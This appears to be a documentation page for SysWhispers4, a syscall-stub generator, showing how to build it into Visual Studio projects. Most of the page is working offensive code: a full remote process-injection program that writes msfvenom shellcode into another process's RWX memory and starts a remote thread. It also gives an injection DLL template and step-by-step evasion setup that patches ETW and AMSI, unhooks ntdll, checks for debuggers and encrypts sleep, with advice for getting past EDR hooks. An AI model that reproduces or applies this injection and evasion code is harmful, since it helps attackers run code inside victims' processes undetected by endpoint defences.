Skip to main content

Documentation Index

Fetch the complete documentation index at: https://mintlify.com/JoasASantos/SysWhispers4/llms.txt

Use this file to discover all available pages before exploring further.

Overview

This guide covers complete integration of SysWhispers4 with Microsoft Visual Studio (MSVC) projects, including console applications, DLLs, and shellcode loaders.

Quick Integration

1

Generate MSVC-compatible files

python syswhispers.py --preset injection --compiler msvc
Generated files:
  • SW4Syscalls_Types.h
  • SW4Syscalls.h
  • SW4Syscalls.c
  • SW4Syscalls.asm ← MASM assembly file
2

Add files to Visual Studio project

  1. Right-click project in Solution Explorer → Add → Existing Item
  2. Select all 4 generated files
  3. Click Add
3

Enable MASM build customization

  1. Right-click project → Build Customizations…
  2. Check masm (.targets, .props)
  3. Click OK
This allows Visual Studio to compile .asm files using the Microsoft Macro Assembler (MASM).
4

Include the header and initialize

#include "SW4Syscalls.h"

int main(void) {
    // Initialize syscall number resolution
    if (!SW4_Initialize()) {
        fprintf(stderr, "[!] Failed to initialize SysWhispers\n");
        return 1;
    }
    
    // Use NT functions...
    return 0;
}
5

Build the project

Press F7 or select Build → Build SolutionExpected output:
1>------ Build started: Project: MyProject, Configuration: Release x64 ------
1>SW4Syscalls.c
1>Assembling: SW4Syscalls.asm
1>main.c
1>MyProject.vcxproj -> C:\...\x64\Release\MyProject.exe

Complete Console Application Example

Project Setup

1

Create new Visual Studio project

  1. File → New → Project
  2. Select Console App
  3. Name: SyscallInjector
  4. Click Create
2

Generate SysWhispers4 files

python syswhispers.py --preset injection \
    --method indirect --resolve freshycalls \
    --compiler msvc --out-file Syscalls
3

Add files to project

Copy the 4 generated files to your project directory, then add them to the project:
  • Syscalls_Types.h
  • Syscalls.h
  • Syscalls.c
  • Syscalls.asm
4

Enable MASM

Right-click project → Build Customizations → check masm

Source Code

main.c:
#include <stdio.h>
#include <Windows.h>
#include "Syscalls.h"

// msfvenom -p windows/x64/exec CMD=calc.exe -f c
unsigned char shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
    0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
    0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
    0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
    // ... full shellcode here ...
};

int main(int argc, char* argv[]) {
    printf("[*] SysWhispers4 Process Injection Example\n");
    
    if (argc < 2) {
        fprintf(stderr, "Usage: %s <target_pid>\n", argv[0]);
        return 1;
    }
    
    DWORD targetPid = atoi(argv[1]);
    printf("[*] Target PID: %lu\n", targetPid);
    
    // ===== Initialize SysWhispers4 =====
    if (!SW4_Initialize()) {
        fprintf(stderr, "[!] SW4_Initialize failed\n");
        return 1;
    }
    printf("[+] Initialized syscall stubs\n");
    
    // ===== Open target process =====
    HANDLE hProcess = NULL;
    OBJECT_ATTRIBUTES objAttr = { sizeof(OBJECT_ATTRIBUTES) };
    CLIENT_ID cid = { (PVOID)(ULONG_PTR)targetPid, NULL };
    
    NTSTATUS status = SW4_NtOpenProcess(
        &hProcess,
        PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD,
        &objAttr,
        &cid
    );
    
    if (!NT_SUCCESS(status)) {
        fprintf(stderr, "[!] NtOpenProcess failed: 0x%08X\n", status);
        return 1;
    }
    printf("[+] Opened process: handle 0x%p\n", hProcess);
    
    // ===== Allocate RWX memory =====
    PVOID remoteBase = NULL;
    SIZE_T regionSize = sizeof(shellcode);
    
    status = SW4_NtAllocateVirtualMemory(
        hProcess,
        &remoteBase,
        0,
        &regionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    
    if (!NT_SUCCESS(status)) {
        fprintf(stderr, "[!] NtAllocateVirtualMemory failed: 0x%08X\n", status);
        SW4_NtClose(hProcess);
        return 1;
    }
    printf("[+] Allocated %llu bytes at 0x%p\n", (ULONG64)regionSize, remoteBase);
    
    // ===== Write shellcode =====
    SIZE_T written = 0;
    status = SW4_NtWriteVirtualMemory(
        hProcess,
        remoteBase,
        shellcode,
        sizeof(shellcode),
        &written
    );
    
    if (!NT_SUCCESS(status)) {
        fprintf(stderr, "[!] NtWriteVirtualMemory failed: 0x%08X\n", status);
        SW4_NtClose(hProcess);
        return 1;
    }
    printf("[+] Wrote %llu bytes\n", (ULONG64)written);
    
    // ===== Change protection to RX =====
    ULONG oldProtect = 0;
    status = SW4_NtProtectVirtualMemory(
        hProcess,
        &remoteBase,
        &regionSize,
        PAGE_EXECUTE_READ,
        &oldProtect
    );
    printf("[+] Changed protection to RX\n");
    
    // ===== Create remote thread =====
    HANDLE hThread = NULL;
    status = SW4_NtCreateThreadEx(
        &hThread,
        THREAD_ALL_ACCESS,
        NULL,
        hProcess,
        remoteBase,  // start address = shellcode
        NULL,        // parameter
        0,           // flags (0 = run immediately)
        0, 0, 0, NULL
    );
    
    if (!NT_SUCCESS(status)) {
        fprintf(stderr, "[!] NtCreateThreadEx failed: 0x%08X\n", status);
        SW4_NtClose(hProcess);
        return 1;
    }
    printf("[+] Remote thread created: handle 0x%p\n", hThread);
    
    // ===== Wait and cleanup =====
    printf("[*] Waiting for thread completion...\n");
    SW4_NtWaitForSingleObject(hThread, FALSE, NULL);
    
    SW4_NtClose(hThread);
    SW4_NtClose(hProcess);
    
    printf("[+] Done.\n");
    return 0;
}

Build Configuration

Recommended settings for Release build:
  1. Configuration Properties → General
    • Configuration Type: Application (.exe)
    • Platform Toolset: Visual Studio 2022 (v143)
  2. C/C++ → General
    • Warning Level: Level3 (/W3)
  3. C/C++ → Optimization (Release only)
    • Optimization: Maximum Optimization (/O2)
    • Inline Function Expansion: Any Suitable (/Ob2)
  4. Linker → General
    • Enable Incremental Linking: No
  5. Linker → Advanced
    • Randomized Base Address: Yes (/DYNAMICBASE)

Build Output Example

1>------ Build started: Project: SyscallInjector, Configuration: Release x64 ------
1>Syscalls.c
1>Assembling: Syscalls.asm
1>main.c
1>Generating code
1>Previous IPDB not found, fall back to full compilation.
1>All 245 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
1>Finished generating code
1>SyscallInjector.vcxproj -> C:\...\x64\Release\SyscallInjector.exe
========== Build: 1 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========

DLL Project Integration

1

Create DLL project

  1. File → New → Project
  2. Select Dynamic-Link Library (DLL)
  3. Name: InjectionPayload
2

Generate syscall stubs

python syswhispers.py --preset common \
    --method indirect --compiler msvc
3

Add files and enable MASM

Add the 4 generated files and enable MASM build customization.
4

Implement DllMain

dllmain.c:
#include <Windows.h>
#include "SW4Syscalls.h"

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hModule);
        
        // Initialize syscalls
        if (!SW4_Initialize()) {
            return FALSE;
        }
        
        // Your payload logic here
        MessageBoxA(NULL, "Injected via syscalls!", "Success", MB_OK);
    }
    return TRUE;
}
5

Build DLL

Press F7 to build. Output: InjectionPayload.dll

Advanced MSVC Features

Using Evasion Features

Generate with all evasion enabled:
python syswhispers.py --preset stealth \
    --method randomized --resolve recycled \
    --obfuscate --encrypt-ssn --stack-spoof \
    --etw-bypass --amsi-bypass --unhook-ntdll \
    --anti-debug --sleep-encrypt \
    --compiler msvc
Initialize in correct order:
int main(void) {
    // Step 1: Remove hooks BEFORE initialization
    SW4_UnhookNtdll();
    
    // Step 2: Resolve SSNs
    if (!SW4_Initialize()) return 1;
    
    // Step 3: Apply evasion patches
    SW4_PatchEtw();
    SW4_PatchAmsi();
    
    // Step 4: Verify clean environment
    if (!SW4_AntiDebugCheck()) {
        // Debugger detected
        return 0;
    }
    
    // Step 5: Your payload
    // ...
    
    // Step 6: Use encrypted sleep
    SW4_SleepEncrypt(5000);  // instead of Sleep(5000)
    
    return 0;
}

Egg Hunt Method

Generate:
python syswhispers.py --preset injection \
    --method egg --compiler msvc
Usage:
int main(void) {
    // CRITICAL: Hatch eggs BEFORE Initialize
    SW4_HatchEggs();    // Replaces eggs with syscall opcodes
    SW4_Initialize();
    
    // Now use NT functions
    // ...
}

Multi-Architecture Builds

x64 Configuration:
python syswhispers.py --preset common --arch x64 --compiler msvc
x86 Configuration:
python syswhispers.py --preset common --arch x86 --compiler msvc
WoW64 (32-bit PE, 64-bit syscalls):
python syswhispers.py --preset common --arch wow64 --compiler msvc
Create separate configurations in Visual Studio for each architecture.

Troubleshooting

Error: “MASM not found”

Solution:
  1. Install Desktop development with C++ workload in Visual Studio Installer
  2. Ensure MSVC v143 - VS 2022 C++ x64/x86 build tools is installed
  3. Enable masm in Build Customizations

Error: “Unresolved external symbol SW4_NtAllocateVirtualMemory”

Cause: ASM file not being compiled. Solution:
  1. Verify SW4Syscalls.asm is in the project
  2. Right-click SW4Syscalls.asmProperties
  3. Check Item Type is set to Microsoft Macro Assembler
  4. Rebuild project

Error: “A2008: syntax error : syscall”

Cause: Trying to use x64 instructions in x86 build. Solution:
  • Ensure project platform is x64 (not Win32)
  • Or regenerate with --arch x86 for 32-bit target

Warning: “C4996: ‘strcpy’: This function or variable may be unsafe”

Solution: Add to preprocessor definitions:
_CRT_SECURE_NO_WARNINGS
Or use secure functions (strcpy_s, sprintf_s).

Initialization Fails

Symptoms: SW4_Initialize() returns 0/FALSE. Debugging:
if (!SW4_Initialize()) {
    DWORD err = GetLastError();
    fprintf(stderr, "[!] Init failed, last error: %lu\n", err);
    
    // Check ntdll is loaded
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) {
        fprintf(stderr, "[!] ntdll.dll not found\n");
    }
}
Common causes:
  • Incompatible resolution method for Windows version
  • Permissions issue (for from_disk method)
  • Heavy EDR hooks (try --resolve recycled or --resolve from_disk)

Best Practices

  1. Always initialize before use:
    if (!SW4_Initialize()) { /* handle error */ }
    
  2. Check NTSTATUS return values:
    NTSTATUS st = SW4_NtAllocateVirtualMemory(...);
    if (!NT_SUCCESS(st)) {
        fprintf(stderr, "[!] Failed: 0x%08X\n", st);
    }
    
  3. Close handles:
    SW4_NtClose(hProcess);
    SW4_NtClose(hThread);
    
  4. Unhook before initialize:
    SW4_UnhookNtdll();  // FIRST
    SW4_Initialize();   // SECOND
    
  5. Use Release builds for testing: Debug builds add extra symbols and checks that affect evasion.

Next Steps

MinGW Integration

Alternative compiler: MinGW and Clang

Advanced Evasion

Learn about all evasion techniques

Build docs developers (and LLMs) love